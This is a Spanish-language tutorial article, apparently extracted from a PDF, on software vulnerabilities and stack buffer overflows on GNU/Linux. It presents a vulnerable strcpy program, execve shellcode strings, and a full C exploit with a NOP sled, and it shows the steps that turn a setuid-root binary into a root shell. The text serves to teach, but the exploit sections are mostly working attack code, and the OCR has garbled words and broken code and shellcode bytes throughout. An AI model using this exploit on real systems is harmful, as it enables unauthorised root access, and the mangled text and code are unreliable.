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RESUMEN

La seguridad de un programa cualquiera, dependedaiio e implementacion de
politicas de seguridad y la escritura de un cédilgoprograma fuera de errores. Dentro
del area de desarrollo de software, la seguridatl desmo depende del programador o
grupo de programadores, los cuales al momento daeb@sel codigo aplican métodos y
técnicas de escritura de codigo seguro, al no zadiliestas, el codigo al momento ser
compilado genera un programa que puede conten@resy lo cual nos da como resultado
una vulnerabilidad.

Las consecuencias de una vulnerabilidad de unnarog, dependen del contexto en
el que se encuentre. Esto puede ocasionar, queriasuaal intencionados, utilizando
técnicas de explotacion de vulnerabilidades, pueantstener privilegios y acceso ilimitados
de un sistema, consiguiendo asi la total manipalade informacion restringida.

Existen diversos tipos de vulnerabilidades de softwlas cuales dependiendo su
magnitud, es el grado de conocimientos, tiempocaeld y la complejidad de analisis
necesarios, ya sea tanto para su descubrimientygmcion o explotacion de la misma.

1. INTRODUCCION

La definicibn de vulnerable proviene del latinlnerahlis que significa: “Que
puede ser herido o recibir lesion, fisica o0 mofa]’ En si el termino vulnerabilidad es la
“cualidad de vulnerable” [1], esto significa quentile a ser susceptible ala exposicion de
una amenaza, dando asi como resultado un factiesdestre.

En informatica el término vulnerabilidad se defaependiendo el area y contexto
en el que se encuentre, al momento de desarrotamypilar un software este termino lo
podemos encontrar definido como la violacion deararias politicas de seguridad dentro
del codigo del programa.

Estos errores son generados por el desarrollagbrpbgrama o grupo de
desarrolladores. Desde los inicios de la prograbmagidesarrollo de software empezaron a
existir dichos errores, en esos momentos eradadiéscubrimiento y correccion del error,
asi evitando dar paso a una vulnerabilidad.

A medida que fue evolucionando y creciendo el mudé las computadoras
electronicas, el desarrollo de software se fue icbewdo en una tarea mas larga y
compleja, dando asi un mayor indice de erroresaigrgmacion y de vulnerabilidades de
software.
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En esencia una vulnerabilidad puede ocasionauguarios mal intencionados con
conocimiento avanzados en el tema, puedan obtenédegios ilimitados de un sistema y
asi poner en riesgo la integridad y privacidad rdermacion ya sea nuestra o de alguna
organizacion.

En la actualidad existen técnicas y herramientas facilitan el estudio de
vulnerabilidades, para la utilizacion de estas ity herramientas es necesario tener
conocimiento avanzado tanto del funcionamientadisie la computadora, conocimientos
avanzados de programacion, como también de laoti&n del software con el hardware.

En este articulo se llevard a cabo un estudiorgede las Vulnerabilidades de software y
se analizard a detalle un error comun al momentesgebir codigo, la no comprobacion del
espacio de memoria para el almacenamiento de caddeacaracteres, generando asi un
desbordamiento del espacio de memoria (Buffer Qwe)f asi como también las consecuencias
gue puede generar esto en un sistema GNU/Linux.

2. CLASIFICACION DE VULNERABILIDADES [2]

La anatomia de una vulnerabilidad depende del xtmtg area en la cual se
desarrolla, en si puede desarrollarse bajo losesites contextos:

- Errores de logica

- Debilidades del software
« Ingenieria Social

« Supervision de politicas

El estudio de las vulnerabilidades de softwaraetieinco factores basicos de
investigacion, los cuales depende del contextol gue se desarrollen, estos factores son
los siguientes:

- Los fallas encontradas

. Las técnicas y métodos de descubrimiento
- El nivel de gravedad de la vulnerabilidad

- La autenticacion

- Las consecuencias de la misma

Teniendo las bases generales de los contextosctprda de estudio de las
vulnerabilidades de software, se puede dar paaodlisis y objetivo en particular de este
articulo.

3. DESBORDAMIENTO DE BUFER (BUFFER OVERFLOW)

El bdfer es un espacio reservado en memoria paaimglcenamiento de datos, el
desbordamiento de bufer (Buffer Overflow), es tmrecomun en el proceso de desarrollo



de software, es la sobre escritura de un area emonee no contemplado por el
programador, debido a que el espacio definido phadmacenamiento de los datos no es
suficiente.

Estas areas no contempladas por el programadoéreas protegidas por el sistema
operativo, la sobre escritura en memoria de egtagra una violacion de acceso a espacio
en memoria, dando como resultado el término inesipede la aplicacion en proceso.

En la figura 1 se muestra una representacioncgrale un bufer en memoria
definido por el programador.
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Figura 1

Enla figura 2 se representa una sobre escriturasd@éms protegidas por el sistema
operativo generando asi una excepcion y la terniinasesperada del programa en
proceso.
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Figura 2

En las figuras 1 y 2 se muestra simplemente upiesentacion grafica de lo que
sucede con los datos contenidos en memoria, cada cepresentada por una letra, en
esencia contiene los datos almacenados en biparia nuestra comprension y en el mayor
numero de casos los datos son representados erravignehexadecimal, cada celda en
memoria, contiene un apuntador a ella, el cualaesado apuntador de memoria u offset

Con esto tenemos comprendido basicamente el ahaedento de los datos en
memoria y lo que puede ocasionar el desbordamdsnto bufer.

Se tomara como base para el desarrollo y andksisste tipo de vulnerabilidad un
sistema GNU/Linux, utilizando el lenguaje de progaaion C para la mejor comprension
de esta



4. ANALISIS DE UN CODIGO VULNERABLE EN UN SISTEMA
GNU/LINUX

En este apartado se analizara un cédigo vulnecallein error de desbordamiento
de bufer.

Herramientas necesarias:
. Editor de textos cualquiera
. Compilador de C gcc

El codigo siguiente presenta un arreglo de camesteen el cual al momento de
almacenar los datos, no se comprueba que la lahdiula cadena a copiar sea menor o
igual al tamafio del bufer destino definido.

#include <string.h>;

void setBuffer¢Char* cad){
char Buffer[256];
strcpy(Buffer,cad);

}

void main{nt nArgs,char* Args[]){
if(nArgs =2){

setBuffer(Argsi]):

}elsd

printf(‘Mal uso de
parametrosh");

}

En el editor de texto de preferencia, se tiene gseribir el codigo anterior,
guardandolo con algun nombre y con extension ‘irctemillas, con esto se procedera a la
compilacion del codigo en una Terminal, para estajecesita estar situado en el directorio
de trabajo donde permanece el cédigo fuente, pacarhpilacion de este, se escribira el
siguiente comando:

$ gcc fuenteVulnerable.c -0
vul.out

En el cbédigo anterior, se tiene que tomar en euehtpaso de parametros de la



funcion setBuffer, la cual contiene un parametrdiple apuntador a caracter:

void setBufferChar* cad)

También se tiene un buffer definido, en la cuasta reservando memoria pa&b
caracteres ,la siguiente linea de codigo:

char Buffer[256];

El error que genera la excepcion y la terminadéhprograma, es encontrado al
momento de tratar de copiar la cadena de caractaesual apuntaad, al espacio
reservado en memoria por la variaBleffer, esto se genera cuando la cadena sobrepasa el
limite de tamafio del buffer como se muestra eiglad 4.

Después de el analisis de la parte del codigoevabie, al momento de la ejecucion
del programa, este toma como parametro un arguigrtoal se contempla en el siguiente
comando:

$./vul.out argumento

El pardmetro que se reciba como argumento se tom parametro de nuestra
funcidn setBruffer en la siguiente linea de codigo:

seBuffer(Argsl]):

Mientras la longitud de la cadena, que se tomeocargumento no sobrepase el
tamafno del Buffer, este funcionara adecuadamerdsy pi se sobrepasa la longitud
reservada por el buffer, se generara una excegabtermino inesperado del programa.

Con el siguiente comando, se podra sobrepasami Idel buffer, generando la
excepcion y la violacién del segmento de memoria:

$./vul.out “perl -e 'print "a" x 280"

En resumen, en la linea anterior se esta pasamdo argumento 280 letras “a”, lo
cual sobrepasa la longitud del buffer reservadaddacomo resultado la excepcion y la
violacion de segmento de memoria.

$./vul.out “perl -e 'print "a" x 280

Violacién de segmento
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Figura 4

Con esto concluye el andlisis del desbordamieetaid buffer en memoria, en
conclusién, al no comprobar la longitud de un buféste tiende a ser vulnerable y generar
una excepcion, la violacion de un segmento de mianpootegido por sistema operativo y
la terminacion inesperada del programa.

5. CONSECUENCIAS DE LA EXPLOTACION DE UN BUFFER
OVERFLOW EN UN SISTEMA GNU/LINUX

Una de las consecuencias generadas por un bufferflav en un sistema
GNU/Linux, puede ser la escala de privilegios deauss, obteniendo asi el control total
del sistema.

En la figura 5 se muestra el objetivo de la exqaidin del desbordamiento de buffer.

Escala de priviligios

Heoyode seguridad ---»

Figura 5

Para dicha explotacién de la vulnerabilidad, eses@&io un programa exploit, que
es una herramienta para la explotacion de vulnetabdes, en la cual se manipula la
vulnerabilidad a manera de crear una escala diéggins en el sistema victima.



6. CONCEPTOS BASICOS PARA LA EXPLOTACION DE UNA
VULNERABILIDAD

Dentro de la arquitectura de un sistema GNU/LIin8&,>se mostraran los elementos
basicos necesarios para el manejo de la pilastehsa, como se muestra en la figura 6.

Stack Pointer %esp ---->

Buffer
Buffer

Return address

Parametros S0

Parametros SO

Figura 6 [4]

El stack pointer (esp) es el registro que almadardireccion donde comienza la
pila del sistema, después se encuentra almacendudfer a desbordar, seguido de la
direccion de retorno, lo demés son pardmetrosistehsa operativo.

Cuando se genera una excepcion y la violaciomdeegmento de memoria, en si se
refiere a que no encuentra la siguiente direcc®rm@moria, esto es ocasionado por la
sobre escritura de el espacio en memoria, en ebpije anterior donde se muestra el
desbordamiento de buffer el segmento de pila qieedamo se muestra en la figura 7.



Stack Pointer %esp ---->

0x61616161

0x61616161

Return Address ---> 0x61616161

0x61616161

0x61616161

Figura 7 [4]

El valor en hexadecimal de la letra “a” es “Ox6h”la figura 7 se muestra como se
sobre escribe todos segmentos de pila con el da@oesta letra, queriendo encontrar la
direccion de retorno 0x61616161, dando asi la exéemel sistema operativo.

El objetivo de explotar la vulnerabilidad, es btemer los privilegios de root, para
ello es necesario obtener una shell con los pgitedel mismo, se sobre escribira los
segmentos de la pila con instrucciones en cédigguina, para ello es necesario crear u
obtener una parte de un programa en codigo maganae entrara en detalle como se
obtiene por que no es la finalidad de este artjceitdo se mencionaran las propiedades
basicas que debe contener este codigo el cualmeadb shellcode.

7. ESTRUCTURA BASICA DE UNA SHELLCODE [3]

Una shellcode es un bloque de cddigo maquinadibrerrores y que contiene varias
propiedades, el cual se inyectara en un prograseagjecutara.

Las tres principales propiedades de una shellsodédas siguientes:

Tamafio reducido: Es necesario que sea una serie de bytes con ldnugigueia
debido a que se inyectara en un pequefio espaoi@eoria.

Caodigo Autocontenido: Esto es debido a que no debe de depender de natid, n
lugar de memoria en el que se encuentre parasucpn.



Sin existencia de bytes nulo€sto es que no contenga ningun valor 0x00, por que
lo mas frecuente es poner la shellcode dentro decadena de caracteres, si esta llegara a
tener algun byte nulo esto significaria el finalaleadena, truncando asi nuestro cédigo.

El formato en una cadena de caracteres de unaateljue nos da como resultado
una shell en su ejecucion es la siguiente:

“W31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x68¥x73\x68”"
“\X68\x2f\x2f\x62\x69\x89\xe3\x52\x53\1x89\xe 1\x8dR\x0b\xcd”
“\x80\x31\xc0\x40\xcd\x80”

Cédigo [4]

Teniendo el conocimiento basico de todos los aitoneecesarios para la explosion
de una vulnerabilidad de tipo buffer overflow sepdao ala escritura del exploit.

Stack Pointer %esp ---->»

NOP NOP NOP NOP

NOP NOP NOP NOP

SHELLCODE

RET RET RET RET

Return Address ----» RET RET RET RET

Figura 8 [4]

En la figura 8 se muestra el funcionamiento badalaexploit, el cual inyectara una
cadena de caracteres en formato hexadecimal, esen@ de caracteres contiene, la
instrucciéon de retorno apuntando al area de los'8i€#yuida de la shellcode y por ultimo
el las instrucciones NOP's

En ensamblador la instruccién NOP significa la peracion, lo Unico que hace es
incrementar el registro de salto a la siguienttruiesion.



8. ESCRITURA DEL EXPLOIT PARA EL SISTEMA GNU/LINUX

A continuacion se muestra el codigo de un explsitito en C:

#include <stdio.h>

#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define NOP 0x90

char shellcode[] ="XEB\x16\x5B\x31\xC0\x88\x43\x07\x89\x43\x0C\x89"
"\x5B\x08\x8D\x4B\x08\x8D\x53\x0C\xBO\xOB\x CK80"
"WE8\XE5\XFF\XFF\XFF\X2F\X62\Xx69\Xx6 E\X2F\x 73"
"X68\x30\x58\x58\x58\x58\x59\x59\x59"

"\x59";
unsignedlong get_spfoid)
{
__asm__"(novl %esp,%eay;
}

int main{nt argc,char *argv[])

{

char *buffer;
char *pbuffer;

long *addr_pbuffer;
long nop_addr;

int offset=0;
int size;
int i;

if (argc!=3)

printf (Uso: %s \n", argvp]);
return O;

}

size = atoi(argv]) + 100
offset = atoi(argvj]);

if (!(buffer = malloc(size)))
{
printf('malloc()\n");
exit(0);
}




nop_addr = get_sp() - offset;

pbuffer = buffer;

addr_pbuffer = (long *) pbuffer;

for (i=0;i < size; i+=)
*(addr_pbuffer++) = nop_addr;

for (i =0;i < sizel; i++)
buffer[i] = NOP;

pbuffer = buffer + ((siz€) - (strlen(shellcode}));

for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcodeli];

buffer[size -1] = "0}

execl(./vul.out”, "vul.out", buffer,0);

return O;

}

Cédigo [4]

El codigo anterior se define el valor de la insttao NOP que es el valor de
0x90como se muestra en la siguiente instruccion:

#define NOP 0x90

La shellcode esta definida como una cadena deteaga con representacion en
hexadecimal:

char shellcode[] ="\XEB\x16\x5B\x31\xC0\x88\x43\x07\x89\x43\x0C\x89"
"\X5B\x08\x8D\x4B\x08\x8D\x53\x0C\xBO\xOB\x CR80"
"WEB\XES\XFF\XFF\XFF\x2F\x62\x69\X6 E\x2F\x 73"
"\X68\x30\x58\x58\x58\x58\x59\x59\x59"
"\x59";

Después se define la instruccién que devolverd apentador del principio de la
pila el stack pointer:

unsignedlong get_spfoid)
{

}

__asm__"tnovl %esp,%eay;




En siguiente bloque de cddigo se encuentra laadesbn e inicializacion de
variables , y el condicionamiento de uso de pat@welel exploit:

char *buffer;
char *pbuffer;

long *addr_pbuffer;
long nop_addr;

int offset=0;
int size;
int i;

if (argc!=3)

{
printf (Uso: %s \n", argv[));
return O,

}

size = atoi(argv]]) + 10G,
offset = atoi(argV));

if (!(buffer = malloc(size)))
{
printf('malloc()\n");
exit(0);
}
nop_addr = get_sp() - offset;
pbuffer = buffer;
addr_pbuffer = (long *) pbuffer;

Esta es la parte en la que se define la estrudtuta cadena que se inyectara en el
programa vulnerable, concatenando la cadena queddicddigo en el siguiente formato:

for (i=0;i < size; i+=)
*(addr_pbuffer++) = nop_addr;

for (i =0; i < sizel; i++)
buffer[i] = NOP;

pbuffer = buffer + ((siz&) - (strlen(shellcode)));
for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcodei];

buffer[size -1] = "0’




Por ultimo se ejecuta el programa vulnerable pasancho parametro el buffer que
contiene las instrucciones para el programa a gecu

execl(./vul.out", "vul.out", buffer,0);

9. EJECUCION DEL EXPLOIT

Para la ejecucion del exploit se tomara un esceminmde el cédigo victima tiene
permisos de modificacion del usuario root, para est necesario la siguiente compilar y
dar los permisos al codigo vulnerable.

Para esto se necesita los siguientes pasos:
. Compilar el codigo vulnerable como usuario root.

. Darle los permisos de modificacidon para el misrsgario

# chmod +s vul
#1s -lh vul
-rwsr-sr-x 1 root root 4,9K 2008-10-10 26 17:49 vu

. Con un usuario sin privilegios se ejecutara el@xkpl

$id
uid=500(patito) gid=500(patito) grupos=500(patito)

. El exploit necesita dos argumentos el tamafio déeBdEl programa vulnerable y
una direccion aproximada al area del segmentotdente después de ejecutar el exploit el
resultado de esto es la shell con privilegios driadtrador.

$ exploit 256 500
sh-2.05b#id
uid=0(root) gid=500(patito) groups=500(patito)

10. CONCLUSION

Una vulnerabilidad puede ser un peligro para losiadtradores de cualquier
sistema ya sea un GNU/Linux o cualquiera.

Para prevenir el desbordamiento de Bufer lo Unigee se necesita es la
comprobacion de la longitud de la cadena la caahalmacenar, esto se puede hacer de
forma manual o con alguna funcion predeterminaddehguaje que se este ocupando,
dando como resultado la escritura de un cédigosegsro y confiable.
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